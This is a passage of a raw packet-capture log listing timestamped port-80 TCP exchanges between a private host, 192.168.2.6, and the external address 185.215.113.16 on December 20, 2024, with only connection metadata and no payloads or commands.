Dec 20, 2024 16:20:02.540219069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.540247917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.540807009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.540852070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.540947914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.540961027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.541004896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.541421890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.541568995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.541583061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.541615009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.570930958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.570990086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.571011066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.571023941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.571077108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.571289062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.571461916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.571475029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.571516991 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.572041035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.572089911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.572186947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.572202921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.572242975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.572855949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.572947979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.572962046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.572990894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.573688030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.573741913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.573786974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.573800087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.573844910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.574373960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.574503899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.574516058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.574594021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.575265884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.575278044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.575292110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.575316906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.575330019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.575922966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.576040030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.576051950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.576086998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.576725960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.576777935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.576890945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.576904058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.576942921 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.577514887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.577594042 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.577605963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.577636957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.578273058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.578321934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.578500032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.578511953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.578556061 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.579071045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.579180002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.579193115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.579229116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.579830885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.579873085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.579951048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.579963923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.580018044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.580621958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.580754995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.580770016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.580805063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.581383944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.581450939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.581487894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.581672907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.581721067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.582182884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.582290888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.582304955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.582335949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.582972050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.583015919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.583067894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.583080053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.583122969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.583790064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.583869934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.583910942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.583955050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.607052088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.607103109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.607125044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.607139111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.607177973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.608160973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.608174086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.608210087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.608304024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.609049082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.609096050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.656884909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.656903982 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.656918049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.656949997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.657135010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.657215118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.657342911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.657356024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.657412052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.658108950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.658123016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.658137083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.658169985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.658853054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.658914089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.659008026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.659022093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.659065962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.659650087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.659827948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.659841061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.659905910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.660471916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.660485029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.660497904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.660525084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.660543919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.661114931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.661293983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.661782026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.728595972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.728611946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.728625059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.728686094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.729079962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.729093075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.729108095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.729166985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.729758978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.729772091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.729784966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.729836941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.730557919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.730580091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.730627060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.730734110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.731393099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.731419086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.731601954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.731615067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.731780052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.732101917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.732125044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.732137918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.732166052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.732187986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.732789040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.732938051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.732952118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.732997894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.733628988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.733788013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.733800888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.733803034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.733855009 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.734456062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.734622955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.734637022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.734674931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.763897896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.764020920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.764036894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.764039993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.764105082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.764333010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.764344931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.764358044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.764415979 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.764981985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.765033960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.765141010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.765155077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.765254974 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.765952110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.765965939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.765979052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.766055107 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.766767025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.766832113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.766952038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.766966105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.767030954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.767446995 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.767638922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.767653942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.767698050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.768274069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.768306971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.768321037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.768452883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.768557072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.769085884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.769105911 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.769123077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.769162893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.769881010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.769896030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.769908905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.769936085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.769959927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.770514011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.770673990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.770723104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.770814896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.771342993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.771505117 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.771519899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.771580935 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.772258997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.772272110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.772285938 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.772325993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.772906065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.773087978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.773099899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.773144960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.773168087 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.773756027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.773771048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.773786068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.773838997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.774576902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.774590969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.774602890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.774636984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.774667025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.775182009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.775357008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.775369883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.775443077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.776046038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.776066065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.776077986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.776097059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.776122093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.776495934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.776509047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.776521921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.776551008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.799720049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.799755096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.799792051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.799860954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.799935102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.800015926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.800029993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.800088882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.800693035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.800707102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.800719976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.800796986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.866529942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.866645098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.866658926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.866715908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.866975069 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.866988897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.867002010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.867038012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.867059946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.867611885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.867625952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.867640018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.867691040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.868396044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.868412971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.868639946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.869013071 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.869070053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.869184017 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.869251966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.869400978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.869441986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.870481014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.870568037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.870628119 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.870641947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.870687962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.870765924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.871077061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.876444101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.920602083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.920619011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.920630932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.920681000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.921066999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.921207905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.921221018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.921266079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.921737909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.921869040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.921884060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.921931982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.922523975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.922580957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.922683001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.922696114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.922738075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.923362970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.923377037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.923388958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.923660040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.924149990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.924220085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.924305916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.924319029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.924360037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.924999952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.925035000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.925051928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.925091982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.925615072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.925668955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.925739050 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.925751925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.925811052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.926399946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.926533937 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.926546097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.926582098 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.955878973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.955940962 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.955997944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.956011057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.956048012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:02.956348896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:02.956433058 CET	80	49828	185.215.113.16	192.168.2.6
